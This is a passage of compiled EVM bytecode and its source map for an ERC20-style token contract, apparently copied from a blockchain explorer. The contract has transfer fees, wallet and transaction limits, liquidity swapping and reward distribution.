6001600160a01b0382166112a65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610813565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8111801561132a57506001600160a01b0382165f90815260216020526040902054155b1561138f57601e80546001600160a01b0384165f818152601f60205260408120839055600183018455929092527f50bb669a95c7b50b7e8a6f09454034b2b14cf2b85c730dca9a539ca82cb6e3500180546001600160a01b03191690911790556113c1565b801580156113b357506001600160a01b0382165f9081526021602052604090205415155b156113c1576113c18261179f565b6001600160a01b0382165f908152602160205260409020546019546113f19183916113eb91611762565b9061176d565b6019556001600160a01b0382165f90815260216020526040902081905561141781611778565b6001600160a01b039092165f9081526021602052604090206001019190915550565b6114448383836118af565b61144e8383611a48565b611459838383611ad7565b6114638383611bc0565b61146e838383611c15565b6114788383611d3e565b6001600160a01b0383165f9081526005602052604090205461149a9082611762565b6001600160a01b0384165f908152600560205260408120919091556114bf8484611d60565b6114c957816114d4565b6114d4848484611da4565b6001600160a01b0384165f908152600560205260409020549091506114f9908261176d565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061154c9085815260200190565b60405180910390a36001600160a01b0384165f9081526006602052604090205460ff16611580576115808461086386610b5e565b6001600160a01b0383165f9081526006602052604090205460ff166115ac576115ac8361086385610b5e565b6001600160a01b0383165f90815260216020526040902054156115d2576115d283611651565b50505050565b5f81848411156115fb5760405162461bcd60e51b815260040161081391906126a1565b505050900390565b5f61091c8284612950565b6023546001600160a01b0382165f908152602080526040812054909142916116369190612926565b1080156107e4575060245461164a83611083565b1192915050565b6001600160a01b0381165f9081526021602052604081205490036116725750565b5f61167c82611083565b9050801561085257601b54611691908261176d565b601b5560185460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303815f875af11580156116e4573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061170891906128cb565b506001600160a01b0382165f908152602080805260408083204290556021909152902060020154611739908261176d565b6001600160a01b0383165f90815260216020526040902060028101919091555461141790611778565b5f61091c828461296f565b5f61091c8284612926565b5f6107e4601d54610f1c601c548561179490919063ffffffff16565b5f61091c8284612939565b601e80546117af9060019061296f565b815481106117bf576117bf6128e6565b5f9182526020808320909101546001600160a01b038481168452601f909252604090922054601e805492909316929181106117fc576117fc6128e6565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559183168152601f918290526040812054601e8054919392916118479060019061296f565b81548110611857576118576128e6565b5f9182526020808320909101546001600160a01b03168352820192909252604001902055601e80548061188c5761188c612982565b5f8281526020902081015f1990810180546001600160a01b031916905501905550565b6001600160a01b0383166119135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610813565b6001600160a01b0382166119755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610813565b5f81116119d65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610813565b6119df83610b5e565b8111156110725760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610813565b6001600160a01b0382165f9081526007602052604090205460ff16158015611a8857506001600160a01b0381165f9081526007602052604090205460ff16155b1561085257600a54600160a01b900460ff166108525760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610813565b6001600160a01b0383165f9081526007602052604090205460ff16158015611b1757506001600160a01b0382165f9081526007602052604090205460ff16155b8015611b315750600a546001600160a01b03838116911614155b8015611b4857506001600160a01b03821661dead14155b15611072576002546001600160a01b0383165f90815260056020526040902054611b72908361176d565b11156110725760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610813565b600a546001600160a01b038281169116148015611bf557506001600160a01b0382165f9081526007602052604090205460ff16155b1561085257600160175f828254611c0c9190612926565b90915550505050565b600a546001600160a01b03848116911614611cb45760045481111580611c5257506001600160a01b0383165f9081526007602052604090205460ff165b80611c7457506001600160a01b0382165f9081526007602052604090205460ff165b611cb45760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610813565b60035481111580611cdc57506001600160a01b0383165f9081526007602052604090205460ff165b80611cfe57506001600160a01b0382165f9081526007602052604090205460ff165b6110725760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610813565b611d488282611e8e565b1561085257611d58601554611f41565b5f6017555050565b6001600160a01b0382165f9081526007602052604081205460ff1615801561091c5750506001600160a01b03165f9081526007602052604090205460ff1615919050565b5f80611db085856120e8565b1115611e87575f611dd2611dc486866120e8565b601354610f16908690611603565b305f90815260056020526040902054909150611dee908261176d565b305f81815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611e3e9085815260200190565b60405180910390a3600f5415611e7557611e753061dead611e70600f54610f166013548961160390919063ffffffff16565b611439565b611e7f8382611762565b91505061091c565b5092915050565b5f80601554611e9c30610b5e565b6018549111159150600160a01b900460ff16158015611ebd575060145460ff165b8015611ed25750600a54600160a01b900460ff165b8015611ef657506001600160a01b0384165f9081526007602052604090205460ff16155b8015611f1a57506001600160a01b0383165f9081526007602052604090205460ff16155b8015611f335750600a546001600160a01b038481169116145b801561110157509392505050565b6018805460ff60a01b1916600160a01b179055600d54600b54600c54600e545f93611f7d93600293610f16936113eb929183918290600161176d565b90505f611f9982610f1c600e548661179490919063ffffffff16565b90505f611fa68483611762565b905047611fb282612132565b5f611fbd4783611762565b90505f611fdf611fd8600e548861176290919063ffffffff16565b8390611603565b90505f611ff7600e548361179490919063ffffffff16565b90508015612009576120098682612282565b600c545f9061201d90610f16856002611794565b905080156120655760405173bf3855f74c172f25cd3b12f77060e347eaacd3a09082156108fc029083905f818181858888f19350505050158015612063573d5f803e3d5ffd5b505b600d545f9061207990610f16866002611794565b9050801561208a5761208a81612343565b47156120cf576040517358f932256d1c0d88785d6c0991e432dcaf326e8f904780156108fc02915f818181858888f193505050501580156120cd573d5f803e3d5ffd5b505b50506018805460ff60a01b191690555050505050505050565b600a545f906001600160a01b039081169083160361210957506011546107e4565b600a546001600160a01b039081169084160361212857506010546107e4565b5060125492915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110612165576121656128e6565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156121bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906121e09190612996565b816001815181106121f3576121f36128e6565b6001600160a01b03928316602091820292909201015260095461221991309116846111e3565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac947906122519085905f908690309042906004016129f4565b5f604051808303815f87803b158015612268575f80fd5b505af115801561227a573d5f803e3d5ffd5b505050505050565b60095461229a9030906001600160a01b0316846111e3565b60095460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015273bf3855f74c172f25cd3b12f77060e347eaacd3a060848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015612317573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061233c9190612a2f565b5050505050565b6018546040516370a0823160e01b81523060048201525f916001600160a01b0316906370a0823190602401602060405180830381865afa158015612389573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123ad9190612a5a565b6040805160028082526060820183529293505f9290916020830190803683375050600954604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015612419573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061243d9190612996565b815f8151811061244f5761244f6128e6565b6001600160a01b039283166020918202929092010152601854825191169082906001908110612480576124806128e6565b6001600160a01b03928316602091820292909201015260095460405163b6f9de9560e01b815291169063b6f9de959085906124c5905f90869030904290600401612a71565b5f604051808303818588803b1580156124dc575f80fd5b505af11580156124ee573d5f803e3d5ffd5b5050601854600a546040516370a0823160e01b81526001600160a01b0391821660048201525f9550911692506370a082319150602401602060405180830381865afa15801561253f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906125639190612a5a565b6018546040516370a0823160e01b81523060048201529192505f916001600160a01b03909116906370a0823190602401602060405180830381865afa1580156125ae573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906125d29190612a5a565b90505f6125df8286611762565b90505f6126596125ef848661176d565b6018546040516370a0823160e01b81523060048201526001600160a01b03909116906370a0823190602401602060405180830381865afa158015612635573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fd09190612a5a565b9050612671612668838361176d565b601a549061176d565b601a55601954601d546126959161268c91610f1c9086611794565b601c549061176d565b601c5550505050505050565b5f602080835283518060208501525f5b818110156126cd578581018301518582016040015282016126b1565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114612701575f80fd5b50565b5f8060408385031215612715575f80fd5b8235612720816126ed565b946020939093013593505050565b8015158114612701575f80fd5b5f806040838503121561274c575f80fd5b8235612757816126ed565b915060208301356127678161272e565b809150509250929050565b5f805f60608486031215612784575f80fd5b833561278f816126ed565b9250602084013561279f816126ed565b929592945050506040919091013590565b5f602082840312156127c0575f80fd5b813561091c816126ed565b5f602082840312156127db575f80fd5b5035919050565b5f805f805f805f80610100898b0312156127fa575f80fd5b505086359860208801359850604088013597606081013597506080810135965060a0810135955060c0810135945060e0013592509050565b5f805f60608486031215612844575f80fd5b505081359360208301359350604090920135919050565b5f805f6060848603121561286d575f80fd5b83359250602084013561279f816126ed565b5f8060408385031215612890575f80fd5b823561289b816126ed565b91506020830135612767816126ed565b60208082526006908201526510a7aba722a960d11b604082015260600190565b5f602082840312156128db575f80fd5b815161091c8161272e565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f6001820161291f5761291f6128fa565b5060010190565b808201808211156107e4576107e46128fa565b80820281158282048414176107e4576107e46128fa565b5f8261296a57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156107e4576107e46128fa565b634e487b7160e01b5f52603160045260245ffd5b5f602082840312156129a6575f80fd5b815161091c816126ed565b5f815180845260208085019450602084015f5b838110156129e95781516001600160a01b0316875295820195908201906001016129c4565b509495945050505050565b85815284602082015260a060408201525f612a1260a08301866129b1565b6001600160a01b0394909416606083015250608001529392505050565b5f805f60608486031215612a41575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215612a6a575f80fd5b5051919050565b848152608060208201525f612a8960808301866129b1565b6001600160a01b0394909416604083015250606001529291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122041f4ac223cbbda114b7663fa8d1313a6b47215736543aa21a5d89a9d7cdf660864736f6c63430008170033

Deployed Bytecode Sourcemap

5975:21969:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9511:83;;;;;;;;;;-1:-1:-1;9581:5:0;;;;;;;;;;;;-1:-1:-1;;;9581:5:0;;;;9511:83;;;;;;;:::i;:::-;;;;;;;;10942:191;;;;;;;;;;-1:-1:-1;10942:191:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10942:191:0;1023:187:1;21215:304:0;;;;;;;;;;-1:-1:-1;21215:304:0;;;;;:::i;:::-;;:::i;:::-;;9981:100;;;;;;;;;;-1:-1:-1;10061:12:0;;9981:100;;;1871:25:1;;;1859:2;1844:18;9981:100:0;1725:177:1;13723:257:0;;;;;;;;;;;;;:::i;20388:442::-;;;;;;;;;;-1:-1:-1;20388:442:0;;;;;:::i;:::-;;:::i;3955:103::-;;;;;;;;;;-1:-1:-1;3955:103:0;;;;;:::i;:::-;4010:4;4045:5;-1:-1:-1;;;;;4034:16:0;;;4045:5;;4034:16;;3955:103;24241:129;;;;;;;;;;-1:-1:-1;24241:129:0;;;;;:::i;:::-;;:::i;9697:83::-;;;;;;;;;;-1:-1:-1;9697:83:0;;6187:1;2947:36:1;;2935:2;2920:18;9697:83:0;2805:184:1;9788:85:0;;;;;;;;;;;;;:::i;7553:26::-;;;;;;;;;;;;;;;;6561:43;;;;;;;;;;-1:-1:-1;6561:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8086:42;;;;;;;;;;;;;;;;8135:45;;;;;;;;;;;;;;;;14165:764;;;;;;;;;;-1:-1:-1;14165:764:0;;;;;:::i;:::-;;:::i;27443:290::-;;;;;;;;;;-1:-1:-1;27443:290:0;;;;;:::i;:::-;;:::i;8502:86::-;;;;;;;;;;;;8546:42;8502:86;;;;;-1:-1:-1;;;;;4145:32:1;;;4127:51;;4115:2;4100:18;8502:86:0;3981:203:1;8187:33:0;;;;;;;;;;;;;;;;13988:169;;;;;;;;;;;;;:::i;10089:119::-;;;;;;;;;;-1:-1:-1;10089:119:0;;;;;:::i;:::-;;:::i;4066:139::-;;;;;;;;;;;;;:::i;6507:47::-;;;;;;;;;;-1:-1:-1;6507:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;22098:1700;;;;;;;;;;-1:-1:-1;22098:1700:0;;;;;:::i;:::-;;:::i;13069:646::-;;;;;;;;;;-1:-1:-1;13069:646:0;;;;;:::i;:::-;;:::i;9881:92::-;;;;;;;;;;-1:-1:-1;9933:7:0;9960:5;-1:-1:-1;;;;;9960:5:0;9881:92;;11141:154;;;;;;;;;;;;;:::i;9602:87::-;;;;;;;;;;-1:-1:-1;9674:7:0;;;;;;;;;;;;-1:-1:-1;;;9674:7:0;;;;9602:87;;7586:29;;;;;;;;;;;;;;;;24091:142;;;;;;;;;;-1:-1:-1;24091:142:0;;;;;:::i;:::-;;:::i;24378:220::-;;;;;;;;;;-1:-1:-1;24378:220:0;;;;;:::i;:::-;-1:-1:-1;;;;;24556:19:0;24476:7;24556:19;;;:6;:19;;;;;:33;;;;24378:220;6708:19;;;;;;;;;;-1:-1:-1;6708:19:0;;;;-1:-1:-1;;;;;6708:19:0;;;10216:197;;;;;;;;;;-1:-1:-1;10216:197:0;;;;;:::i;:::-;;:::i;25403:572::-;;;;;;;;;;-1:-1:-1;25403:572:0;;;;;:::i;:::-;;:::i;10807:127::-;;;;;;;;;;-1:-1:-1;10807:127:0;;;;;:::i;:::-;;:::i;8402:86::-;;;;;;;;;;;;8446:42;8402:86;;24610:83;;;;;;;;;;;;;:::i;8004:39::-;;;;;;;;;;-1:-1:-1;8004:39:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4779:25:1;;;4835:2;4820:18;;4813:34;;;;4863:18;;;4856:34;4767:2;4752:18;8004:39:0;4577:319:1;7340:68:0;;;;;;;;;;-1:-1:-1;7340:68:0;;;;-1:-1:-1;;;;;7340:68:0;;;10421:184;;;;;;;;;;-1:-1:-1;10421:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;10570:18:0;;;10538:7;10570:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10421:184;7622:31;;;;;;;;;;;;;;;;4213:136;;;;;;;;;;-1:-1:-1;4213:136:0;;;;;:::i;:::-;;:::i;10942:191::-;11044:4;11066:37;11075:10;11087:7;11096:6;11066:8;:37::i;:::-;-1:-1:-1;11121:4:0;10942:191;;;;;:::o;21215:304::-;4010:4;4045:5;-1:-1:-1;;;;;4045:5:0;3905:10;4034:16;3889:38;;;;-1:-1:-1;;;3889:38:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;21325:23:0;::::1;;::::0;;;:15:::1;:23;::::0;;;;:32;;-1:-1:-1;;21325:32:0::1;::::0;::::1;::::0;::::1;::::0;;;::::1;::::0;;;21368:144:::1;;21395:28;21413:6;21421:1;21395:17;:28::i;:::-;21215:304:::0;;:::o;21368:144::-:1;21456:44;21474:6;21482:17;21492:6;21482:9;:17::i;:::-;21456;:44::i;13723:257::-:0;4010:4;4045:5;-1:-1:-1;;;;;4045:5:0;3905:10;4034:16;3889:38;;;;-1:-1:-1;;;3889:38:0;;;;;;;:::i;:::-;13794:3:::1;13779:12;:18:::0;13824:3:::1;13807:14;:20:::0;;;13837:10:::1;:16:::0;-1:-1:-1;13863:12:0::1;:16:::0;;;13889:7:::1;:11:::0;;;13921:3:::1;13910:8;:14:::0;;;13934:7:::1;:13:::0;13957:11:::1;:15:::0;13723:257::o;20388:442::-;20520:4;20537:36;20547:6;20555:9;20566:6;20537:9;:36::i;:::-;20584:216;20607:6;20628:10;20653:136;20707:6;20653:136;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;20653:19:0;;;;;;:11;:19;;;;;;;;20673:10;20653:31;;;;;;;;;:136;:35;:136::i;:::-;20584:8;:216::i;:::-;-1:-1:-1;20818:4:0;20388:442;;;;;;:::o;24241:129::-;24316:8;;24309:53;;-1:-1:-1;;;24309:53:0;;8546:42;24309:53;;;6062:51:1;6129:18;;;6122:34;;;-1:-1:-1;;;;;24316:8:0;;;;24309:25;;6035:18:1;;24309:53:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;9788:85::-;4010:4;4045:5;-1:-1:-1;;;;;4045:5:0;3905:10;4034:16;3889:38;;;;-1:-1:-1;;;3889:38:0;;;;;;;:::i;:::-;9844:14:::1;:21:::0;;-1:-1:-1;;;;9844:21:0::1;-1:-1:-1::0;;;9844:21:0::1;::::0;;9788:85::o;14165:764::-;4010:4;4045:5;-1:-1:-1;;;;;4045:5:0;3905:10;4034:16;3889:38;;;;-1:-1:-1;;;3889:38:0;;;;;;;:::i;:::-;14438:12:::1;:25:::0;;;14474:12:::1;:25:::0;;;14510:7:::1;:15:::0;;;14536:10:::1;:21:::0;;;14568:14:::1;:29:::0;;;14608:8:::1;:17:::0;;;14636:7:::1;:15:::0;;;14662:11:::1;:20:::0;;;14727:11:::1;::::0;:18:::1;::::0;14743:1:::1;14727:15;:18::i;:::-;14715:8;;:30;;:80;;;;-1:-1:-1::0;14777:11:0::1;::::0;:18:::1;::::0;14793:1:::1;14777:15;:18::i;:::-;14766:7;;:29;;14715:80;:134;;;;-1:-1:-1::0;14831:11:0::1;::::0;:18:::1;::::0;14847:1:::1;14831:15;:18::i;:::-;14816:11;;:33;;14715:134;14693:228;;;::::0;-1:-1:-1;;;14693:228:0;;6619:2:1;14693:228:0::1;::::0;::::1;6601:21:1::0;6658:2;6638:18;;;6631:30;6697:34;6677:18;;;6670:62;-1:-1:-1;;;6748:18:1;;;6741:42;6800:19;;14693:228:0::1;6417:408:1::0;14693:228:0::1;14165:764:::0;;;;;;;;:::o;27443:290::-;4010:4;4045:5;-1:-1:-1;;;;;4045:5:0;3905:10;4034:16;3889:38;;;;-1:-1:-1;;;3889:38:0;;;;;;;:::i;:::-;27610:14:::1;:27:::0;;;;27648:15:::1;:34:::0;27693:14:::1;:32:::0;27443:290::o;13988:169::-;4010:4;4045:5;-1:-1:-1;;;;;4045:5:0;3905:10;4034:16;3889:38;;;;-1:-1:-1;;;3889:38:0;;;;;;;:::i;:::-;14056:12:::1;::::0;14041::::1;:27:::0;;;14079:14:::1;:29:::0;;;14119:15:::1;:30:::0;13988:169::o;10089:119::-;-1:-1:-1;;;;;10182:18:0;10155:7;10182:18;;;:9;:18;;;;;;;10089:119::o;4066:139::-;4010:4;4045:5;-1:-1:-1;;;;;4045:5:0;3905:10;4034:16;3889:38;;;;-1:-1:-1;;;3889:38:0;;;;;;;:::i;:::-;4147:1:::1;4131:18:::0;;-1:-1:-1;;;;;;4131:18:0::1;::::0;;4165:32:::1;::::0;4127:51:1;;;4165:32:0::1;::::0;4115:2:1;4100:18;4165:32:0::1;;;;;;;4066:139::o:0;22098:1700::-;22252:10;:17;22295:10;22225:24;22320:21;;;22316:60;;22358:7;;22098:1700;;;:::o;22316:60::-;22386:15;22416;22434:9;22519:10;22454:18;22509:21;;;:9;:21;;;;;;;;;22546:15;:27;;;;;;22416;;-1:-1:-1;22454:18:0;;22546:27;;22541:1250;;22590:501;22607:3;22597:7;:13;:46;;;;;22627:16;22614:10;:29;22597:46;22590:501;;;22684:16;22668:12;;:32;22664:97;;22740:1;22725:12;:16;22664:97;22783:39;22797:10;22808:12;;22797:24;;;;;;;;:::i;:::-;;;;;;;;;;;-1:-1:-1;;;;;22797:24:0;22783:13;:39::i;:::-;22779:131;;;22847:43;22865:10;22876:12;;22865:24;;;;;;;;:::i;:::-;;;;;;;;;;;-1:-1:-1;;;;;22865:24:0;22847:17;:43::i;:::-;22938:35;22950:22;22962:9;22950:7;;:11;:22::i;:::-;22938:7;;:11;:35::i;:::-;22928:45;;23002:9;23030:12;:14;;22992:19;;-1:-1:-1;23030:12:0;:14;;;:::i;:::-;;;;;;23063:12;;;;;:::i;:::-;;;;22590:501;;;22541:1250;;;23123:14;23140:23;23158:4;23140:17;:23::i;:::-;-1:-1:-1;;;;;23201:20:0;;;;;;:9;:20;;;;;;23123:40;;-1:-1:-1;23201:33:0;;23226:7;23201:24;:33::i;:::-;-1:-1:-1;;;;;23178:20:0;;;;;;:9;:20;;;;;:56;23273:21;23287:7;23273:11;:21;:::i;:::-;23259:10;23249:21;;;;:9;:21;;;;;:45;23313:10;;23309:471;;23363:16;;:28;;23384:6;23363:20;:28::i;:::-;23344:16;:47;23417:8;;23410:39;;-1:-1:-1;;;23410:39:0;;-1:-1:-1;;;;;6080:32:1;;;23410:39:0;;;6062:51:1;6129:18;;;6122:34;;;23417:8:0;;;;23410:25;;6035:18:1;;23410:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;;23468:26:0;;;;;;:20;:26;;;;;;;23497:15;23468:44;;23560:6;:12;;;;;:26;;;:78;;23613:6;23560:30;:78::i;:::-;-1:-1:-1;;;;;23531:12:0;;;;;;:6;:12;;;;;:26;;;:107;;;;23726:19;23686:78;;:17;:78::i;:::-;-1:-1:-1;;;;;23657:12:0;;;;;;:6;:12;;;;;:26;;:107;23309:471;23108:683;22541:1250;22214:1584;;;;;;22098:1700;;;:::o;13069:646::-;4010:4;4045:5;-1:-1:-1;;;;;4045:5:0;3905:10;4034:16;3889:38;;;;-1:-1:-1;;;3889:38:0;;;;;;;:::i;:::-;13200:13:::1;13241:5;13233:4;13217:13;10061:12:::0;;;9981:100;13217:13:::1;:20;;;;:::i;:::-;13216:30;;;;:::i;:::-;13200:46;;13257:19;13306:5;13296:6;13280:13;10061:12:::0;;;9981:100;13280:13:::1;:22;;;;:::i;:::-;13279:32;;;;:::i;:::-;13257:54;;13322:17;13370:5;13359:7;13343:13;10061:12:::0;;;9981:100;13343:13:::1;:23;;;;:::i;:::-;13342:33;;;;:::i;:::-;13386:12;:20:::0;;;13417:14:::1;:28:::0;;;13456:15:::1;:27:::0;;;13322:53;-1:-1:-1;;13510:30:0::1;13535:4;13510:20;13528:1;13510:13;10061:12:::0;;;9981:100;13510:13:::1;:17:::0;::::1;:20::i;:::-;:24:::0;::::1;:30::i;:::-;13494:46;;13582:5;13573;:14;;:38;;;;;13606:5;13591:11;:20;;13573:38;:60;;;;;13628:5;13615:9;:18;;13573:60;13551:156;;;::::0;-1:-1:-1;;;13551:156:0;;7961:2:1;13551:156:0::1;::::0;::::1;7943:21:1::0;8000:2;7980:18;;;7973:30;8039:34;8019:18;;;8012:62;-1:-1:-1;;;8090:18:1;;;8083:44;8144:19;;13551:156:0::1;7759:410:1::0;13551:156:0::1;13189:526;;;;13069:646:::0;;;:::o;11141:154::-;11200:7;11227:60;11265:21;11283:1;11265:9;:21::i;:::-;11227:33;11244:15;8260:42;11244:9;:15::i;:::-;11227:12;;;:16;:33::i;:::-;:37;;:60::i;:::-;11220:67;;11141:154;:::o;24091:142::-;4010:4;4045:5;-1:-1:-1;;;;;4045:5:0;3905:10;4034:16;3889:38;;;;-1:-1:-1;;;3889:38:0;;;;;;;:::i;:::-;24179:46:::1;::::0;-1:-1:-1;;;24179:46:0;;24205:10:::1;24179:46;::::0;::::1;6062:51:1::0;6129:18;;;6122:34;;;-1:-1:-1;;;;;24179:25:0;::::1;::::0;::::1;::::0;6035:18:1;;24179:46:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;24091:142:::0;;:::o;10216:197::-;10321:4;10343:40;10353:10;10365:9;10376:6;10343:9;:40::i;25403:572::-;-1:-1:-1;;;;;25528:19:0;;25499:7;25528:19;;;:6;:19;;;;;:26;:31;;25524:72;;-1:-1:-1;25583:1:0;;25403:572;-1:-1:-1;25403:572:0:o;25524:72::-;-1:-1:-1;;;;;25674:19:0;;25606:33;25674:19;;;:6;:19;;;;;:26;25642:69;;:17;:69::i;:::-;-1:-1:-1;;;;;25757:19:0;;25722:32;25757:19;;;:6;:19;;;;;:33;;;25606:105;;-1:-1:-1;25805:53:0;;;25801:94;;-1:-1:-1;25882:1:0;;25403:572;-1:-1:-1;;;25403:572:0:o;25801:94::-;25912:55;:25;25942:24;25912:29;:55::i;:::-;25905:62;25403:572;-1:-1:-1;;;;25403:572:0:o;10807:127::-;4010:4;4045:5;-1:-1:-1;;;;;4045:5:0;3905:10;4034:16;3889:38;;;;-1:-1:-1;;;3889:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10894:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;10894:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10807:127::o;24610:83::-;24656:29;24674:10;24656:17;:29::i;:::-;24610:83::o;4213:136::-;4010:4;4045:5;-1:-1:-1;;;;;4045:5:0;3905:10;4034:16;3889:38;;;;-1:-1:-1;;;3889:38:0;;;;;;;:::i;:::-;4289:5:::1;:11:::0;;-1:-1:-1;;;;;;4289:11:0::1;-1:-1:-1::0;;;;;4289:11:0;::::1;::::0;;::::1;::::0;;;4316:25:::1;::::0;4127:51:1;;;4316:25:0::1;::::0;4115:2:1;4100:18;4316:25:0::1;;;;;;;4213:136:::0;:::o;20838:369::-;-1:-1:-1;;;;;20965:19:0;;20957:68;;;;-1:-1:-1;;;20957:68:0;;8592:2:1;20957:68:0;;;8574:21:1;8631:2;8611:18;;;8604:30;8670:34;8650:18;;;8643:62;-1:-1:-1;;;8721:18:1;;;8714:34;8765:19;;20957:68:0;8390:400:1;20957:68:0;-1:-1:-1;;;;;21044:21:0;;21036:68;;;;-1:-1:-1;;;21036:68:0;;8997:2:1;21036:68:0;;;8979:21:1;9036:2;9016:18;;;9009:30;9075:34;9055:18;;;9048:62;-1:-1:-1;;;9126:18:1;;;9119:32;9168:19;;21036:68:0;8795:398:1;21036:68:0;-1:-1:-1;;;;;21115:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;21167:32;;1871:25:1;;;21167:32:0;;1844:18:1;21167:32:0;;;;;;;20838:369;;;:::o;21527:563::-;21624:1;21615:6;:10;:45;;;;-1:-1:-1;;;;;;21629:19:0;;;;;;:6;:19;;;;;:26;:31;21615:45;21611:230;;;27039:10;:17;;-1:-1:-1;;;;;27007:29:0;;;;;;:16;:29;;;;;:49;;;27067:28;;;;;;;;;;;;;-1:-1:-1;;;;;;27067:28:0;;;;;;21611:230;;;21735:11;;:45;;;;-1:-1:-1;;;;;;21750:19:0;;21779:1;21750:19;;;:6;:19;;;;;:26;:30;;21735:45;21731:110;;;21797:32;21817:11;21797:19;:32::i;:::-;-1:-1:-1;;;;;21881:19:0;;;;;;:6;:19;;;;;:26;21865:11;;:55;;21913:6;;21865:43;;:15;:43::i;:::-;:47;;:55::i;:::-;21851:11;:69;-1:-1:-1;;;;;21931:19:0;;;;;;:6;:19;;;;;:35;;;22013:69;21960:6;22013:17;:69::i;:::-;-1:-1:-1;;;;;21977:19:0;;;;;;;:6;:19;;;;;:33;;:105;;;;-1:-1:-1;21527:563:0:o;11859:1202::-;11982:37;11993:6;12001:9;12012:6;11982:10;:37::i;:::-;12062:38;12082:6;12090:9;12062:19;:38::i;:::-;12142:41;12157:6;12165:9;12176:6;12142:14;:41::i;:::-;12219:35;12236:6;12244:9;12219:16;:35::i;:::-;12271:39;12284:6;12292:9;12303:6;12271:12;:39::i;:::-;12346:27;12355:6;12363:9;12346:8;:27::i;:::-;-1:-1:-1;;;;;12415:17:0;;;;;;:9;:17;;;;;;:29;;12437:6;12415:21;:29::i;:::-;-1:-1:-1;;;;;12395:17:0;;;;;;:9;:17;;;;;:49;;;;12482:32;12405:6;12504:9;12482:13;:32::i;:::-;:104;;12580:6;12482:104;;;12530:34;12538:6;12546:9;12557:6;12530:7;:34::i;:::-;-1:-1:-1;;;;;12622:20:0;;;;;;:9;:20;;;;;;12457:129;;-1:-1:-1;12622:40:0;;12457:129;12622:24;:40::i;:::-;-1:-1:-1;;;;;12599: